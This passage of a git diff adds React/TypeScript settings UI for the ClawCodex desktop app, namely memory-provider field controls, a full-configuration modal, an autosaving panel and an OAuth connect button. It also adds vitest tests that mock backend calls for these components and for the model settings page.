+
+          if (next.state === 'pending') {
+            if (Date.now() > deadline.current) {
+              stop()
+              setPhase('error')
+              setDetail('Timed out — try again.')
+            }
+
+            return
+          }
+
+          stop()
+          setConnected(next.connected)
+          setAuth(next.auth)
+
+          if (next.state === 'error') {
+            setPhase('error')
+            setDetail(next.detail || 'Connection failed.')
+          } else {
+            setPhase('idle')
+          }
+        } catch {
+          // Transient poll failure — keep trying until the deadline.
+        }
+      })()
+    }, POLL_MS)
+  }, [provider, stop])
+
+  const cancel = useCallback(() => {
+    stop()
+    setPhase('idle')
+  }, [stop])
+
+  if (capable !== 'yes') {
+    return null
+  }
+
+  const connectLabel = connected ? (auth === 'apikey' ? 'Connect via OAuth' : 'Reconnect') : 'Connect'
+
+  return (
+    <span className="inline-flex flex-wrap items-center gap-x-3 gap-y-1 text-xs">
+      {phase === 'idle' && connected && (
+        <span className="inline-flex items-center gap-1 text-muted-foreground">
+          <Check className="size-3" />
+          {auth === 'apikey' ? 'api key set' : 'oauth set'}
+        </span>
+      )}
+      {phase === 'pending' ? (
+        <>
+          <span className="inline-flex items-center gap-1.5 text-muted-foreground">
+            <Loader2 className="size-3 animate-spin" />
+            Waiting for browser consent…
+          </span>
+          <Button className="h-auto p-0 text-xs" onClick={cancel} size="sm" type="button" variant="link">
+            Cancel
+          </Button>
+        </>
+      ) : (
+        <Button
+          className="h-auto gap-1 p-0 text-xs"
+          onClick={() => void connect()}
+          size="sm"
+          type="button"
+          variant="link"
+        >
+          <ExternalLink className="size-3" />
+          {connectLabel}
+        </Button>
+      )}
+      {phase === 'error' && detail && <span className="text-destructive">{detail}</span>}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/settings/memory/field-control.tsx b/ui-desktop/src/app/settings/memory/field-control.tsx
new file mode 100644
index 000000000..9c80f03bd
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/field-control.tsx
@@ -0,0 +1,129 @@
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { Tip } from '@/components/ui/tooltip'
+import { Check, Info } from '@/lib/icons'
+import type { MemoryProviderField } from '@/types/clawcodex'
+
+import { CONTROL_TEXT } from '../constants'
+
+// Fade the placeholder well below set values so example text never reads as data.
+const FIELD_INPUT = `font-mono ${CONTROL_TEXT} placeholder:text-muted-foreground/45`
+
+// Field label with an optional info tooltip, shared by the panel and modal rows.
+export function FieldTitle({ field }: { field: MemoryProviderField }) {
+  if (!field.info) {
+    return <>{field.label}</>
+  }
+
+  return (
+    <span className="inline-flex items-center gap-1.5">
+      {field.label}
+      <Tip className="max-w-60 font-normal leading-snug whitespace-normal" label={field.info}>
+        <Info aria-label={`About ${field.label}`} className="size-3.5 text-muted-foreground/70" />
+      </Tip>
+    </span>
+  )
+}
+
+// Values are edited as strings; the backend coerces them to native types.
+export function FieldControl({
+  field,
+  value,
+  onChange,
+  onCommit
+}: {
+  field: MemoryProviderField
+  value: string
+  onChange: (value: string) => void
+  // Present on autosaving surfaces: discrete controls commit on change, text-like
+  // controls commit on blur. Absent (the modal), edits stay drafts until Save.
+  onCommit?: (value: string) => void
+}) {
+  const set = (next: string) => {
+    onChange(next)
+    onCommit?.(next)
+  }
+
+  const commitDraft = onCommit ? () => onCommit(value) : undefined
+
+  if (field.kind === 'bool') {
+    return <Switch checked={value === 'true'} onCheckedChange={checked => set(checked ? 'true' : 'false')} />
+  }
+
+  if (field.kind === 'number') {
+    return (
+      <Input
+        className={FIELD_INPUT}
+        inputMode="numeric"
+        onBlur={commitDraft}
+        onChange={event => onChange(event.target.value)}
+        placeholder={field.placeholder}
+        type="number"
+        value={value}
+      />
+    )
+  }
+
+  if (field.kind === 'json') {
+    return (
+      <Textarea
+        className={FIELD_INPUT}
+        onBlur={commitDraft}
+        onChange={event => onChange(event.target.value)}
+        placeholder={field.placeholder}
+        spellCheck={false}
+        value={value}
+      />
+    )
+  }
+
+  if (field.kind === 'select') {
+    return (
+      <Select onValueChange={set} value={value}>
+        <SelectTrigger className={CONTROL_TEXT}>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {field.options.map(option => (
+            <SelectItem key={option.value} value={option.value}>
+              {option.label}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    )
+  }
+
+  if (field.kind === 'secret') {
+    return (
+      <div className="flex flex-col gap-1">
+        <Input
+          className={`w-full ${FIELD_INPUT}`}
+          onBlur={commitDraft}
+          onChange={event => onChange(event.target.value)}
+          placeholder={field.is_set ? 'Leave blank to keep current value' : field.placeholder}
+          type="password"
+          value={value}
+        />
+        {field.is_set && (
+          <span className="inline-flex items-center gap-1 self-start font-mono text-[0.65rem] text-(--ui-text-tertiary)">
+            <Check className="size-3 text-(--ui-accent-secondary)" />
+            set
+          </span>
+        )}
+      </div>
+    )
+  }
+
+  return (
+    <Input
+      className={FIELD_INPUT}
+      onBlur={commitDraft}
+      onChange={event => onChange(event.target.value)}
+      placeholder={field.placeholder}
+      value={value}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/settings/memory/provider-config-modal.test.tsx b/ui-desktop/src/app/settings/memory/provider-config-modal.test.tsx
new file mode 100644
index 000000000..352597545
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/provider-config-modal.test.tsx
@@ -0,0 +1,115 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { MemoryProviderConfig, MemoryProviderField } from '@/types/clawcodex'
+
+const saveMemoryProviderConfig = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  saveMemoryProviderConfig: (provider: string, values: unknown) => saveMemoryProviderConfig(provider, values)
+}))
+
+vi.mock('@/store/profile', async () => {
+  const { atom } = await import('nanostores')
+
+  return { $activeGatewayProfile: atom('default') }
+})
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+function field(
+  overrides: Partial<MemoryProviderField> & Pick<MemoryProviderField, 'key' | 'kind'>
+): MemoryProviderField {
+  return {
+    label: overrides.key,
+    value: '',
+    description: '',
+    placeholder: '',
+    is_set: false,
+    inline: false,
+    group: 'Other',
+    options: [],
+    ...overrides
+  }
+}
+
+function schema(): MemoryProviderConfig {
+  return {
+    name: 'honcho',
+    label: 'Honcho',
+    docs_url: 'https://docs.honcho.dev/v3/guides/integrations/clawcodex',
+    fields: [
+      field({ key: 'workspace', kind: 'text', label: 'Workspace', value: 'myws', inline: true, group: 'Connection' }),
+      field({ key: 'saveMessages', kind: 'bool', label: 'Save messages', value: 'true', group: 'Message writing' }),
+      field({ key: 'dialecticMaxChars', kind: 'number', label: 'Max result chars', value: '1200', group: 'Dialectic' }),
+      field({
+        key: 'userPeerAliases',
+        kind: 'json',
+        label: 'User peer aliases',
+        value: '{"t":"eri"}',
+        group: 'Identity'
+      })
+    ]
+  }
+}
+
+beforeEach(() => {
+  saveMemoryProviderConfig.mockResolvedValue({ ok: true })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+async function renderModal(open = true) {
+  const { ProviderConfigModal } = await import('./provider-config-modal')
+  const onOpenChange = vi.fn()
+  const onSaved = vi.fn().mockResolvedValue(undefined)
+
+  const result = render(
+    <ProviderConfigModal
+      config={schema()}
+      onOpenChange={onOpenChange}
+      onSaved={onSaved}
+      open={open}
+      provider="honcho"
+    />
+  )
+
+  return { ...result, onOpenChange, onSaved }
+}
+
+describe('ProviderConfigModal', () => {
+  it('renders every field grouped, including inline ones, with kind-specific controls', async () => {
+    await renderModal()
+
+    expect(await screen.findByText('Message writing')).toBeTruthy()
+    expect(screen.getByText('Dialectic')).toBeTruthy()
+    // bool -> switch, number -> spinbutton, json/text -> textbox
+    expect(screen.getByRole('switch')).toBeTruthy()
+    expect(screen.getByDisplayValue('1200')).toBeTruthy()
+    expect(screen.getByDisplayValue('myws')).toBeTruthy()
+    expect(screen.getByDisplayValue('{"t":"eri"}')).toBeTruthy()
+  })
+
+  it('saves only edited fields, serializing the toggled bool to "false"', async () => {
+    const { onSaved, onOpenChange } = await renderModal()
+
+    fireEvent.click(await screen.findByRole('switch'))
+    fireEvent.click(screen.getByRole('button', { name: 'Save changes' }))
+
+    // A save must never ratify rendered defaults the backend does not store.
+    await waitFor(() => expect(saveMemoryProviderConfig).toHaveBeenCalledWith('honcho', { saveMessages: 'false' }))
+    await waitFor(() => expect(onSaved).toHaveBeenCalled())
+    expect(onOpenChange).toHaveBeenCalledWith(false)
+  })
+
+  it('renders nothing while closed', async () => {
+    await renderModal(false)
+    expect(screen.queryByText('Message writing')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/settings/memory/provider-config-modal.tsx b/ui-desktop/src/app/settings/memory/provider-config-modal.tsx
new file mode 100644
index 000000000..e8086d5d7
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/provider-config-modal.tsx
@@ -0,0 +1,159 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { saveMemoryProviderConfig } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { ExternalLink, Loader2, Save, SlidersHorizontal } from '@/lib/icons'
+import { notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile } from '@/store/profile'
+import type { MemoryProviderConfig, MemoryProviderField } from '@/types/clawcodex'
+
+import { ListRow } from '../primitives'
+
+import { FieldControl, FieldTitle } from './field-control'
+
+// Secrets seed blank: values are write-only and blank keeps the stored one.
+function seedAll(config: MemoryProviderConfig): Record<string, string> {
+  return Object.fromEntries(config.fields.map(field => [field.key, field.kind === 'secret' ? '' : field.value]))
+}
+
+// Group fields in declared order, preserving first-seen group sequence.
+function groupFields(fields: MemoryProviderField[]): [string, MemoryProviderField[]][] {
+  const groups: [string, MemoryProviderField[]][] = []
+
+  for (const field of fields) {
+    const name = field.group || 'Other'
+    const bucket = groups.find(([key]) => key === name)
+
+    if (bucket) {
+      bucket[1].push(field)
+    } else {
+      groups.push([name, [field]])
+    }
+  }
+
+  return groups
+}
+
+export function ProviderConfigModal({
+  config,
+  provider,
+  open,
+  onOpenChange,
+  onSaved
+}: {
+  config: MemoryProviderConfig
+  provider: string
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSaved: () => Promise<void> | void
+}) {
+  const activeProfile = useStore($activeGatewayProfile)
+  const [values, setValues] = useState<Record<string, string>>({})
+  const [seeded, setSeeded] = useState<Record<string, string>>({})
+  const [saving, setSaving] = useState(false)
+
+  // Reseed on open so edits never start from a stale prior-session snapshot.
+  useEffect(() => {
+    if (open) {
+      const seed = seedAll(config)
+      setSeeded(seed)
+      setValues(seed)
+    }
+  }, [open, config])
+
+  const save = async () => {
+    // Untouched keys stay unsubmitted; runtime defaults still own their values.
+    const edited = Object.fromEntries(Object.entries(values).filter(([key, value]) => value !== seeded[key]))
+
+    setSaving(true)
+
+    try {
+      await saveMemoryProviderConfig(provider, edited)
+      notify({ kind: 'success', title: `${config.label} saved`, message: 'Memory provider configuration updated.' })
+      await onSaved()
+      onOpenChange(false)
+    } catch (err) {
+      notifyError(err, `Failed to save ${config.label} settings`)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent bodyClassName="dt-portal-scrollbar" className="max-w-2xl">
+        <DialogHeader>
+          <DialogTitle icon={SlidersHorizontal}>{config.label} — full configuration</DialogTitle>
+          <DialogDescription>
+            Every {config.label} option for the <span className="font-medium">{activeProfile}</span> profile. Blank
+            fields fall back to the resolved host or built-in default.
+          </DialogDescription>
+          {config.docs_url && (
+            <a
+              className="inline-flex w-fit items-center gap-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-accent-secondary) underline-offset-4 transition-colors hover:underline"
+              href={config.docs_url}
+              onClick={event => {
+                event.preventDefault()
+                void window.clawcodexDesktop?.openExternal?.(config.docs_url)
+              }}
+              rel="noreferrer"
+              target="_blank"
+            >
+              {config.label} configuration reference
+              <ExternalLink className="size-3" />
+            </a>
+          )}
+        </DialogHeader>
+
+        <div className="min-w-0">
+          {groupFields(config.fields).map(([group, fields]) => (
+            <section className="mt-6 first:mt-2" key={group}>
+              <h3 className="border-b border-(--ui-accent-secondary)/30 pb-1.5 font-mono text-[0.68rem] uppercase tracking-wide text-(--ui-accent-secondary)">
+                {group}
+              </h3>
+              <div className="pl-1">
+                {fields.map(field => (
+                  <div className="border-b border-border/40 last:border-b-0" key={field.key}>
+                    <ListRow
+                      action={
+                        <FieldControl
+                          field={field}
+                          onChange={value => setValues(current => ({ ...current, [field.key]: value }))}
+                          value={values[field.key] ?? ''}
+                        />
+                      }
+                      description={field.description}
+                      title={<FieldTitle field={field} />}
+                    />
+                  </div>
+                ))}
+              </div>
+            </section>
+          ))}
+        </div>
+
+        <DialogFooter>
+          <DialogClose asChild>
+            <Button size="sm" type="button" variant="ghost">
+              Cancel
+            </Button>
+          </DialogClose>
+          <Button disabled={saving} onClick={() => void save()} size="sm">
+            {saving ? <Loader2 className="size-3.5 animate-spin" /> : <Save />}
+            Save changes
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/app/settings/memory/provider-config-panel.test.tsx b/ui-desktop/src/app/settings/memory/provider-config-panel.test.tsx
new file mode 100644
index 000000000..297758b3f
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/provider-config-panel.test.tsx
@@ -0,0 +1,209 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { MemoryProviderConfig } from '@/types/clawcodex'
+
+const getMemoryProviderConfig = vi.fn()
+const saveMemoryProviderConfig = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getMemoryProviderConfig: (provider: string) => getMemoryProviderConfig(provider),
+  saveMemoryProviderConfig: (provider: string, values: unknown) => saveMemoryProviderConfig(provider, values)
+}))
+
+vi.mock('@/store/profile', async () => {
+  const { atom } = await import('nanostores')
+
+  return { $activeGatewayProfile: atom('default') }
+})
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+function honchoSchema(): MemoryProviderConfig {
+  return {
+    name: 'honcho',
+    label: 'Honcho',
+    docs_url: 'https://docs.honcho.dev/v3/guides/integrations/clawcodex',
+    fields: [
+      {
+        key: 'apiKey',
+        label: 'API key',
+        kind: 'secret',
+        value: '',
+        description: 'Authenticate with Honcho Cloud.',
+        placeholder: 'Enter Honcho API key',
+        is_set: false,
+        inline: true,
+        group: 'Connection',
+        options: []
+      },
+      {
+        key: 'baseUrl',
+        label: 'Base URL',
+        kind: 'text',
+        value: '',
+        description: 'Self-hosted Honcho URL.',
+        placeholder: 'https://… (self-hosted)',
+        is_set: false,
+        inline: true,
+        group: 'Connection',
+        options: []
+      },
+      {
+        key: 'environment',
+        label: 'Environment',
+        kind: 'select',
+        value: 'production',
+        description: 'Honcho environment.',
+        placeholder: '',
+        is_set: true,
+        inline: true,
+        group: 'Connection',
+        options: [
+          { value: 'production', label: 'Production', description: '' },
+          { value: 'demo', label: 'Demo', description: '' },
+          { value: 'local', label: 'Local', description: '' }
+        ]
+      },
+      {
+        key: 'workspace',
+        label: 'Workspace',
+        kind: 'text',
+        value: 'myws',
+        description: 'Honcho workspace ID.',
+        placeholder: 'clawcodex',
+        is_set: true,
+        inline: true,
+        group: 'Connection',
+        options: []
+      },
+      // Non-inline field: must NOT render in the compact panel and must NOT be
+      // submitted when the panel saves.
+      {
+        key: 'writeFrequency',
+        label: 'Write frequency',
+        kind: 'text',
+        value: 'async',
+        description: '',
+        placeholder: '',
+        is_set: true,
+        inline: false,
+        group: 'Message writing',
+        options: []
+      }
+    ]
+  }
+}
+
+beforeEach(() => {
+  getMemoryProviderConfig.mockResolvedValue(honchoSchema())
+  saveMemoryProviderConfig.mockResolvedValue({ ok: true })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+async function renderPanel(provider = 'honcho') {
+  const { ProviderConfigPanel } = await import('./provider-config-panel')
+
+  return render(<ProviderConfigPanel provider={provider} />)
+}
+
+describe('ProviderConfigPanel', () => {
+  it('renders the declared inline fields generically', async () => {
+    await renderPanel()
+
+    expect(await screen.findByDisplayValue('myws')).toBeTruthy()
+    expect(screen.getByPlaceholderText('https://… (self-hosted)')).toBeTruthy()
+    expect(screen.getByText('Production')).toBeTruthy()
+    expect(screen.getByText('Self-hosted Honcho URL.')).toBeTruthy()
+  })
+
+  it('hides fields that are not marked inline', async () => {
+    await renderPanel()
+
+    await screen.findByDisplayValue('myws')
+    expect(screen.queryByDisplayValue('async')).toBeNull()
+    expect(screen.queryByText('Write frequency')).toBeNull()
+  })
+
+  it('collapses and expands the fields', async () => {
+    await renderPanel()
+
+    expect(await screen.findByDisplayValue('myws')).toBeTruthy()
+    fireEvent.click(screen.getByRole('button', { name: /Honcho settings/ }))
+    expect(screen.queryByDisplayValue('myws')).toBeNull()
+    fireEvent.click(screen.getByRole('button', { name: /Honcho settings/ }))
+    expect(await screen.findByDisplayValue('myws')).toBeTruthy()
+  })
+
+  it('autosaves a text field on blur as a one-key partial save', async () => {
+    await renderPanel()
+
+    const baseUrl = await screen.findByPlaceholderText('https://… (self-hosted)')
+    fireEvent.change(baseUrl, { target: { value: 'http://localhost:8000' } })
+    fireEvent.blur(baseUrl)
+
+    await waitFor(() =>
+      expect(saveMemoryProviderConfig).toHaveBeenCalledWith('honcho', { baseUrl: 'http://localhost:8000' })
+    )
+    expect(saveMemoryProviderConfig).toHaveBeenCalledTimes(1)
+  })
+
+  it('does not save on blur when nothing changed', async () => {
+    await renderPanel()
+
+    const workspace = await screen.findByDisplayValue('myws')
+    fireEvent.blur(workspace)
+
+    await waitFor(() => expect(screen.queryByRole('button', { name: 'Save' })).toBeNull())
+    expect(saveMemoryProviderConfig).not.toHaveBeenCalled()
+  })
+
+  it('autosaves a committed secret and clears the draft', async () => {
+    await renderPanel()
+
+    const apiKey = await screen.findByPlaceholderText('Enter Honcho API key')
+    fireEvent.blur(apiKey)
+    expect(saveMemoryProviderConfig).not.toHaveBeenCalled()
+
+    fireEvent.change(apiKey, { target: { value: 'hch-new-key' } })
+    fireEvent.blur(apiKey)
+
+    await waitFor(() => expect(saveMemoryProviderConfig).toHaveBeenCalledWith('honcho', { apiKey: 'hch-new-key' }))
+    await waitFor(() => expect((apiKey as HTMLInputElement).value).toBe(''))
+  })
+
+  it('offers a full-config trigger when modal-only fields exist', async () => {
+    await renderPanel()
+
+    await screen.findByDisplayValue('myws')
+    expect(screen.getByRole('button', { name: /Full config/ })).toBeTruthy()
+  })
+
+  it('shows an inline error with retry when the load fails, then recovers', async () => {
+    getMemoryProviderConfig.mockRejectedValueOnce(new Error('Timed out connecting to ClawCodex backend'))
+
+    await renderPanel()
+
+    expect(await screen.findByText(/Timed out connecting/)).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'Retry' }))
+
+    expect(await screen.findByDisplayValue('myws')).toBeTruthy()
+  })
+
+  it('renders nothing for a provider with no declared config surface', async () => {
+    getMemoryProviderConfig.mockResolvedValue({ name: 'builtin', label: 'builtin', docs_url: '', fields: [] })
+
+    const { container } = await renderPanel('builtin')
+
+    await waitFor(() => expect(getMemoryProviderConfig).toHaveBeenCalledWith('builtin'))
+    expect(container.querySelector('section')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/settings/memory/provider-config-panel.tsx b/ui-desktop/src/app/settings/memory/provider-config-panel.tsx
new file mode 100644
index 000000000..3ad66f4d3
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/provider-config-panel.tsx
@@ -0,0 +1,163 @@
+import { useCallback, useEffect, useState } from 'react'
+
+import { getMemoryProviderConfig, saveMemoryProviderConfig } from '@/clawcodex'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { SlidersHorizontal } from '@/lib/icons'
+import { notifyError } from '@/store/notifications'
+import type { MemoryProviderConfig, MemoryProviderField } from '@/types/clawcodex'
+
+import { ListRow, Pill } from '../primitives'
+
+import { FieldControl, FieldTitle } from './field-control'
+import { ProviderConfigModal } from './provider-config-modal'
+
+// Inline fields only: the compact panel must never re-write modal-owned keys.
+function seedValues(config: MemoryProviderConfig): Record<string, string> {
+  return Object.fromEntries(
+    config.fields.filter(field => field.inline).map(field => [field.key, field.kind === 'secret' ? '' : field.value])
+  )
+}
+
+export function ProviderConfigPanel({ provider }: { provider: string }) {
+  const [config, setConfig] = useState<MemoryProviderConfig | null>(null)
+  const [loadError, setLoadError] = useState<null | string>(null)
+  const [values, setValues] = useState<Record<string, string>>({})
+  const [saved, setSaved] = useState<Record<string, string>>({})
+  const [expanded, setExpanded] = useState(true)
+  const [showModal, setShowModal] = useState(false)
+
+  const refresh = useCallback(async () => {
+    try {
+      const next = await getMemoryProviderConfig(provider)
+      const seed = seedValues(next)
+      setConfig(next)
+      setValues(seed)
+      setSaved(seed)
+      setLoadError(null)
+    } catch (err) {
+      setConfig(null)
+      setLoadError(err instanceof Error ? err.message : 'Memory provider settings failed to load')
+    }
+  }, [provider])
+
+  useEffect(() => {
+    setConfig(null)
+    void refresh()
+  }, [refresh])
+
+  // Autosave, matching the settings page around the panel: one-key partial PUT
+  // on commit, silent on success, no full refresh (it would reset sibling drafts).
+  const commitField = useCallback(
+    async (field: MemoryProviderField, value: string) => {
+      if (value === (saved[field.key] ?? '') || (field.kind === 'secret' && !value.trim())) {
+        return
+      }
+
+      try {
+        await saveMemoryProviderConfig(provider, { [field.key]: value })
+
+        if (field.kind === 'secret') {
+          setValues(current => ({ ...current, [field.key]: '' }))
+          setConfig(
+            current =>
+              current && {
+                ...current,
+                fields: current.fields.map(f => (f.key === field.key ? { ...f, is_set: true } : f))
+              }
+          )
+        } else {
+          setSaved(current => ({ ...current, [field.key]: value }))
+        }
+      } catch (err) {
+        notifyError(err, `Failed to save ${field.label}`)
+      }
+    },
+    [provider, saved]
+  )
+
+  // Providers without a declared config surface (e.g. builtin) render nothing.
+  if (config && config.fields.length === 0) {
+    return null
+  }
+
+  if (!config) {
+    if (loadError) {
+      return (
+        <div className="flex items-center justify-between gap-3 py-2">
+          <span className="text-[length:var(--conversation-caption-font-size)] text-muted-foreground">
+            Memory provider settings failed to load: {loadError}
+          </span>
+          <Button onClick={() => void refresh()} size="sm" type="button" variant="secondary">
+            Retry
+          </Button>
+        </div>
+      )
+    }
+
+    return <PageLoader className="min-h-24" label="Loading memory provider settings..." />
+  }
+
+  const inlineFields = config.fields.filter(field => field.inline)
+  const secretFields = config.fields.filter(field => field.kind === 'secret')
+  const hasFullConfig = config.fields.some(field => !field.inline)
+
+  return (
+    <section className="py-1">
+      <div className="flex items-center gap-2 py-2">
+        <button
+          aria-expanded={expanded}
+          className="flex min-w-0 flex-1 items-center gap-2 text-left"
+          onClick={() => setExpanded(open => !open)}
+          type="button"
+        >
+          <DisclosureCaret open={expanded} />
+          <span className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {config.label} settings
+          </span>
+          {secretFields.map(field => (
+            <Pill key={field.key}>{field.is_set ? `${field.label} set` : `${field.label} not set`}</Pill>
+          ))}
+        </button>
+        {hasFullConfig && (
+          <Button onClick={() => setShowModal(true)} size="sm" type="button" variant="secondary">
+            <SlidersHorizontal className="size-3.5" />
+            Full config…
+          </Button>
+        )}
+      </div>
+
+      {expanded && (
+        <div className="ml-1.5 border-l-2 border-(--ui-accent-secondary)/25 pb-4 pl-4 pr-4">
+          {inlineFields.map(field => (
+            <div className="border-b border-border/40 last:border-b-0" key={field.key}>
+              <ListRow
+                action={
+                  <FieldControl
+                    field={field}
+                    onChange={value => setValues(current => ({ ...current, [field.key]: value }))}
+                    onCommit={value => void commitField(field, value)}
+                    value={values[field.key] ?? ''}
+                  />
+                }
+                description={field.description}
+                title={<FieldTitle field={field} />}
+              />
+            </div>
+          ))}
+        </div>
+      )}
+
+      {hasFullConfig && (
+        <ProviderConfigModal
+          config={config}
+          onOpenChange={setShowModal}
+          onSaved={refresh}
+          open={showModal}
+          provider={provider}
+        />
+      )}
+    </section>
+  )
+}
diff --git a/ui-desktop/src/app/settings/model-settings.test.tsx b/ui-desktop/src/app/settings/model-settings.test.tsx
new file mode 100644
index 000000000..e249918ad
--- /dev/null
+++ b/ui-desktop/src/app/settings/model-settings.test.tsx
@@ -0,0 +1,567 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Radix Select calls scrollIntoView on its items when the content opens; jsdom
+// doesn't implement it (nor hasPointerCapture / releasePointerCapture), so stub
+// them to let the dropdown open in tests.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+const getGlobalModelInfo = vi.fn()
+const getGlobalModelOptions = vi.fn()
+const getAuxiliaryModels = vi.fn()
+const getMoaModels = vi.fn()
+const setModelAssignment = vi.fn()
+const getRecommendedDefaultModel = vi.fn()
+const saveMoaModels = vi.fn()
+const setEnvVar = vi.fn()
+const getClawCodexConfigRecord = vi.fn()
+const saveClawCodexConfig = vi.fn()
+const startManualLocalEndpoint = vi.fn()
+const startManualOnboarding = vi.fn()
+const startManualProviderOAuth = vi.fn()
+let profileSwitchHandler: (() => void) | null = null
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelInfo: () => getGlobalModelInfo(),
+  getGlobalModelOptions: () => getGlobalModelOptions(),
+  getAuxiliaryModels: () => getAuxiliaryModels(),
+  getMoaModels: () => getMoaModels(),
+  setModelAssignment: (body: unknown) => setModelAssignment(body),
+  getRecommendedDefaultModel: (slug: string) => getRecommendedDefaultModel(slug),
+  saveMoaModels: (body: unknown) => saveMoaModels(body),
+  setEnvVar: (key: string, value: string) => setEnvVar(key, value),
+  getClawCodexConfigRecord: () => getClawCodexConfigRecord(),
+  saveClawCodexConfig: (config: unknown) => saveClawCodexConfig(config),
+  setApiRequestProfile: () => {}
+}))
+
+vi.mock('@/store/onboarding', () => ({
+  startManualLocalEndpoint: () => startManualLocalEndpoint(),
+  startManualOnboarding: () => startManualOnboarding(),
+  startManualProviderOAuth: (slug: string) => startManualProviderOAuth(slug)
+}))
+
+vi.mock('../hooks/use-on-profile-switch', () => ({
+  useOnProfileSwitch: (handler: () => void) => {
+    profileSwitchHandler = handler
+  }
+}))
+
+beforeEach(() => {
+  getGlobalModelInfo.mockResolvedValue({ provider: 'nous', model: 'clawcodex-4' })
+  getGlobalModelOptions.mockResolvedValue({
+    providers: [
+      {
+        name: 'Nous',
+        slug: 'nous',
+        models: ['clawcodex-4', 'clawcodex-4-mini'],
+        authenticated: true,
+        capabilities: { 'clawcodex-4': { reasoning: true, fast: true } }
+      }
+    ]
+  })
+  getAuxiliaryModels.mockResolvedValue({
+    main: { provider: 'nous', model: 'clawcodex-4' },
+    tasks: [{ task: 'vision', provider: 'auto', model: '', base_url: '' }]
+  })
+  getMoaModels.mockResolvedValue(null)
+  setModelAssignment.mockResolvedValue({ provider: 'nous', model: 'clawcodex-4', gateway_tools: [] })
+  getRecommendedDefaultModel.mockResolvedValue({ provider: 'nous', model: 'clawcodex-4', free_tier: null })
+  setEnvVar.mockResolvedValue({ ok: true })
+  getClawCodexConfigRecord.mockResolvedValue({ agent: { reasoning_effort: 'medium', service_tier: 'normal' } })
+  saveClawCodexConfig.mockResolvedValue({ ok: true })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+  profileSwitchHandler = null
+})
+
+async function renderModelSettings() {
+  const { ModelSettings } = await import('./model-settings')
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  return render(
+    // The aux-task deep-link highlight reads useSearchParams, so the page
+    // needs a router context in tests (the app provides HashRouter at root).
+    <MemoryRouter>
+      <QueryClientProvider client={client}>
+        <ModelSettings />
+      </QueryClientProvider>
+    </MemoryRouter>
+  )
+}
+
+describe('ModelSettings', () => {
+  it('loads the current main model and lists configured providers only', async () => {
+    await renderModelSettings()
+
+    await waitFor(() => expect(getGlobalModelInfo).toHaveBeenCalled())
+    await waitFor(() => expect(getGlobalModelOptions).toHaveBeenCalled())
+
+    // Open the provider Select — only configured providers should be listed.
+    const triggers = await screen.findAllByRole('combobox')
+    fireEvent.click(triggers[0])
+
+    // "Nous" shows in both the trigger and the open list.
+    expect((await screen.findAllByText('Nous')).length).toBeGreaterThan(0)
+    expect(screen.queryByText(/DeepSeek/)).toBeNull()
+  })
+
+  it.each(['custom', 'local', 'custom:lab'])(
+    'opens local endpoint setup when %s has no inventory row',
+    async provider => {
+      getGlobalModelInfo.mockResolvedValueOnce({ provider, model: '' })
+      getGlobalModelOptions.mockResolvedValueOnce({ providers: [] })
+
+      await renderModelSettings()
+
+      const providerSelect = (await screen.findAllByRole('combobox'))[0]
+
+      expect(providerSelect.textContent).toContain(provider)
+      expect(screen.queryByText(/undefined/)).toBeNull()
+      expect(screen.queryByText(/signs in through your browser/)).toBeNull()
+
+      fireEvent.click(await screen.findByRole('button', { name: 'Set up provider' }))
+
